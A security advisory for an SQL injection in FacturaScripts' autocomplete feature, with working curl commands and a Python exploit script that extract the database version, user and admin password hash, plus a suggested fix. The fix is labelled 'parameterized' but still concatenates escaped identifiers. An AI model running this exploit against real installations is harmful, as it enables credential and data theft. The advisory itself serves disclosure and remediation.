CVE-2026-25514: FacturaScripts has SQL Injection vulnerability in Autocomplete Actions
Summary FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.
---
Details
Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.
Vulnerable Code Location
File: /Core/Model/CodeModel.php Method: all() Lines: 108-109
php public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ......
// VULNERABLE CODE: $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description ' . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); }
return $result; }
Vulnerable Parameters
The following parameters are vulnerable to SQL Injection:
1. source → Maps to $tableName - Table name injection 2. fieldcode → Maps to $fieldCode - Column name injection 3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)
Attack Flow
1. Attacker authenticates with valid credentials (any user role) 2. Attacker sends POST request to /CopyModel with action=autocomplete 3. Malicious SQL functions/queries are injected via the fieldtitle parameter 4. Application executes the injected SQL and returns results in JSON format 5. Attacker extracts sensitive data from the database
---
Proof of Concept (PoC)
Prerequisites - Valid authentication credentials (admin/admin in test instance) - Access to FacturaScripts web interface
Step-by-Step Manual Exploitation (CLI)
Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.
1. Obtain initial token and session cookie: FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie. bash TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+') echo $TOKEN
2. Authenticate (Login): Use the saved cookie and the token to log in. bash curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" \ -d "fsPassword=admin" \ -d "action=login" \ -d "multireqtoken=$TOKEN"
3. Extract Database Version: Obtain a fresh token for the next request and execute the injection. bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=version()" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"
4. Extract Database User and Name: bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=concat(user(),' @ ',database())" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"
5. Extract Admin Password Hash: bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=password" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"
Automated Exploitation Script
python #!/usr/bin/env python3 """ FacturaScripts SQL Injection Exploit - Autocomplete Author: Łukasz Rybak """
import requests import re import json
Configuration BASEURL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin"
session = requests.Session()
def getcsrftoken(url): """Extract CSRF token from page""" response = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text) return match.group(1) if match else None
def login(): """Authenticate to FacturaScripts""" print(f"[] Logging in as {USERNAME}...") token = getcsrftoken(f"{BASEURL}/login") if not token: print("[!] Failed to get CSRF token") exit()
data = { "multireqtoken": token, "action": "login", "fsNick": USERNAME, "fsPassword": PASSWORD } response = session.post(f"{BASEURL}/login", data=data)
if "Dashboard" not in response.text: print("[!] Login failed!") exit() print("[+] Successfully logged in.")
def exploitsqli(fieldpayload, term="admin", source="users", fieldcode="nick"): """Execute SQL injection through autocomplete""" data = { "action": "autocomplete", "source": source, "fieldcode": fieldcode, "fieldtitle": fieldpayload, "term": term } response = session.post(f"{BASEURL}/CopyModel", data=data) try: return response.json() except: return None
def main(): login()
print("\n" + "="60) print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ") print("="60 + "\n")
# 1. Database version print("[] Extracting database version...") res = exploitsqli("version()") if res: print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database print("[] Extracting DB user and database name...") res = exploitsqli("concat(user(),' @ ',database())") if res: print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash print("[] Extracting admin password hash...") res = exploitsqli("password", term="admin") if res: print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names print("[] Extracting table names...") res = exploitsqli("(SELECT GROUPCONCAT(tablename) FROM informationschema.tables WHERE tableschema=database())") if res: print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if name == "main": main() <img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />
---
Impact
This SQL injection vulnerability has CRITICAL impact:
Data Confidentiality - Complete database disclosure - Attacker can extract all data including: - User credentials (password hashes) - Customer information (names, addresses, tax IDs, etc.) - Financial records (invoices, payments, bank details) - Business logic and configuration data - Plugin and system settings
Who is Impacted? - All FacturaScripts installations running vulnerable versions - All authenticated users can exploit (not just admins) - Businesses using FacturaScripts for accounting/invoicing - Customers whose data is stored in the system
---
Recommended Fix
Immediate Remediation
Option 1: Use Prepared Statements
php // File: Core/Model/CodeModel.php // Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ... validation code ...
// Validate and escape identifiers $safeTableName = self::db()->escapeColumn($tableName); $safeFieldCode = self::db()->escapeColumn($fieldCode); $safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description ' . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); }
return $result; } Credits
Discovered by: Łukasz Rybak
Other sources
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25514?
CVE-2026-25514 is classified as a critical severity vulnerability due to its potential for allowing authenticated attackers to extract sensitive data.
How do I fix CVE-2026-25514?
To fix CVE-2026-25514, upgrade to FacturaScripts version 2025.81 or later.
What type of vulnerability is CVE-2026-25514?
CVE-2026-25514 is an SQL injection vulnerability found in the autocomplete functionality of FacturaScripts.
Who is affected by CVE-2026-25514?
Authenticated users of FacturaScripts versions prior to 2025.81 are affected by CVE-2026-25514.
What data can be compromised by CVE-2026-25514?
CVE-2026-25514 allows attackers to access sensitive data such as user credentials, configuration settings, and all stored business data.